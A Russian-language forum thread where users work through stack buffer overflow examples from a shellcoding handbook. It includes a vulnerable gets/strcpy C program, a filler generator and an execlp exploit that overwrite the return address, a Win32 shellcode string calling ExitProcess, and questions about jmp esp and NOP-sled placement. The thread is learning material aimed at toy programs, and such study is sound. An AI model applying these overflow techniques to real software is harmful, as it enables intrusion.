Итак, купил вумную книжку "The Shellcoders Handbook: Discovering and Exploiting Security Holes". Пытаюсь разобраться с примерами из книжки на практике. Возникла проблема с первым же примером. PHP: void return_input() { char array[30]; gets(array); printf("%s\n", array); } main() { return_input(); return 0; } Хочу вызвать функцию return_input() дважды, при помощи gdb узнаю её адрес "0x8048594". Потом (если я прав), смотрю результат дизассемблирования функции return_input(), для того, чтобы понять сколько места резервируется в стеке, вижу: Code: 0x08048594 <return_input+0>: push %ebp 0x08048595 <return_input+1>: mov %esp,%ebp 0x08048597 <return_input+3>: sub $0x28,%esp 0x0804859a <return_input+6>: sub $0xc,%esp 0x0804859d <return_input+9>: lea 0xffffffd8(%ebp),%eax .... Если я прав, то мне нужно число 0x28 (40 в 10й системе) и к этому числу надо прибавить 8, для того чтобы переписать указатели ebp и eip. Или мне нужно (0x28+0xC)+8?? В общем пишу программулинку, которая тупо переписывала бы адреса: PHP: main() { int i=0; char stuffing[48]; for (i=0;i<=44;i+=4) *(long*)&stuffing[i] = 0x8048594; puts(stuffing); } В итоге когда её выход перенаправляю в уязвимую программу всё равно вижу "Segmentation fault (core dumped)". Смотрю состояние регистров, ebp переписался значением 0x8048594, а в eip лежит 0x1. Почему? Что я не так делаю?
Я проверил. Если ввести 1111111111111111111111111111111111111234 это чудо природы падает с AccessViolation по адресу 0x34333231. Но это, вроде, не 40-й байт, а чуть раньше. Это байты 36-ой, 37-ой, 38-ой и 39-й (если считать с нуля). (Потрейсил ща олькой и убедился, что это и правда так. У тебя, правда, никсы, но вроде ничего меняться не должно тут)
Даже в таком случае, как я понимаю, eip должен переписаться на нужное мне значение, т.к. я просто переписываю лишнее.
Хм.. ну я составил шеллкод, который вырубает уязвимую программу. (под вин32) char shellcode[] = "111111111111111111111111111111111111\x34\xff\x13\x00" "\xe8\xa1\xce\x6d\x7c"; 0013FF34 - адрес места в стеке, сразу после этих четырех байт E8A1CE6D7C - код по адресу 0013FF34 - вызов ExitProcess: E8 A1CE6D7C CALL kernel32.ExitProcess
не было возможности скомпилить сабж, но думается, 4то ты увели4ивая размер входного переполяняемого буфера не только переполняешь его, перезвписав eip, но и затираешь данные, лежащие в кадре стека ниже, в 4ем и при4ина проблем
хз, у меня все прекрасно работает. Переполняется локальный буфер, затирается адрес возврата (на ebp уже плевать) на адрес кода call ExitProcess. Работает на ура А разве перезапись других данных кадра стека может за собой повлечь такое изменение EIP? че-та я в твою мысль не врубил%)
сплоит: 0000000000000000000000000000000000(Alt+251)(Alt+18)@ Если у кого есть в электронном варианте скинте плиз, тоже интерестно почитать
2Go0o$E, Спасибо, за книжку... Кстате немного поигрался, и вот что получилось , это врядли было задуманно 1└PГь&PН|$$WWPИG∙ш4r-AAAAAAAhiddenN(Alt+255)(Alt+18)
Хмм.. ну а как тогда узнать точно по дизассемблированной функции сколько места в стеке под массив резервируется? Code: 0x08048597 <return_input+3>: sub $0x28,%esp Почему тут число 0x28 (40), а у вас получается 36 ? Откуда у меня берутся лишние 4 байта? Когда я начинаю переписывать с 36го байта по 40й, ни eip ни ebp не переписываются. И ещё вопрос, перенаправил вывод с програмки которая генерирует строку ввода в файл "(./a.out : cat) > 1.txt" В конце файла откудато взялись байты "01 0A", откуда они взялись? З.Ы. Книжку я купил на русском языке в магазине "буквоед" в Питере (рядом с м. Площадь Восстания за 830 руб), на озоне вроде тоже продаётся, но блин дорогая.
Ты знаешь, я не знаю откуда ты взял эти значения и темболее не понимяю, как ты помещаешь разницу константы и esp обратно в константу. Code: 0x08048597 <return_input+3>: sub $0x28,%esp но наверно ты имеешь ввиду этот фрагмент Code: 004012D4 >/$ 55 [COLOR=Red]PUSH EBP[/COLOR] 004012D5 |. 89E5 MOV EBP, ESP 004012D7 |. 83EC 20 [COLOR=Red]SUB ESP, 20[/COLOR] 004012DA |. 57 PUSH EDI 004012DB |. 8D7D E2 LEA EDI, DWORD PTR [EBP-1E] 004012DE |. 57 PUSH EDI ; /s 004012DF |. E8 145F0000 CALL xxx._gets ; \_gets 004012E4 |. 83C4 04 ADD ESP, 4 004012E7 |. 8D7D E2 LEA EDI, DWORD PTR [EBP-1E] 004012EA |. 57 PUSH EDI ; /<%s> 004012EB |. 68 A0A04000 PUSH xxx.0040A0A0 ; |format = "%s",LF,"" 004012F0 |. E8 A75C0000 CALL xxx._printf ; \_printf 004012F5 |. 83C4 08 ADD ESP, 8 004012F8 |. 5F POP EDI 004012F9 |. C9 [COLOR=Lime]LEAVE[/COLOR] 004012FA \. C3 RET в стек помещаются значения кратные 4, так что 30 округляется вперёд до 32(0x20), а вот потерянные 4 байта это какраз ebp, сохранённые в начале функции, которые в свою очередь убераются инструкцией LEAVE.
Хехе, это другая разновидность синтаксиса ассемблера (AT&T), а ты привык к синтаксису Intel. GDB поддерживает синтаксис AT&T, а OllyDbg синтаксис Intel. По сути sub $0x28,%esp в записи AT&T эквивалентно sub esp, 28 в Intel. В синтаксисе AT&T операнды пишутся как "источник, приёмник", а в Intel наоборот + есть ещё кое какие различия.
это синтаксис AT&T. хм. ну вроде так, угу поместить-то два байта можно в стек (PUSH BX, например), но нужно выравнивать стек по границе машинного слова (32бит)
Прошу разъяснить мне на пальцах. Написал небольшую програмку на си Code: #include "stdio.h" void return_input (char *s) { char array[30]; strcpy(array,s); printf("%s\n", array); } char text () { printf("text\n"); } main ( int argc, char *argv[] ) { text(); return_input(argv[1]); return 0; } И эксплоет Code: #include "stdlib.h" main () { char stuff[]= "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x84\x04\x08"; execlp("./bof","./bof",&stuff,NULL); } По адресу 0x08048496 у меня находится вызов функции text() Работает нормально, т.е вывод spyder@l33t:~/c> ./eip text AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?? text Теперь хочу передать управление шеллкоду. Вот тут я немогу понять. Где то пишут что нужно передать управление коду jmp esp. Вопрос1 - Где мне взять его, система nix. Так же пишут что шеллкод нужно передавать сразу после адреса возврата или до него, заполняя остальное место в буфере нопами, в таком случае как узнать адрес куда мне нужно передать управление? Читал статьи, вникнуть немогу Заранее спасибо
Cылка битая. Вот на русском http://letitbit.net/download/fd46de141051/iskustvo-vzloma-i-zashitu-system.rar.html